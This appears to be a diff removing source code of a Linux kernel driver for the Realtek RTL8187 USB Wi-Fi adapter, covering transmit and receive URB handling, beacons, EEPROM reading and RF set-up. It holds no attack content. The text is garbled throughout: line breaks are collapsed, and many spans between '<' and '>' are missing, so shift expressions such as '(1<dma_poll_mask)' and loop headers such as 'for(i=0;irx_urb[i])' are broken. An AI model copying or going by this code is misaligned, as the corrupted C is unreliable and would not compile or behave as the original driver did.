IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - 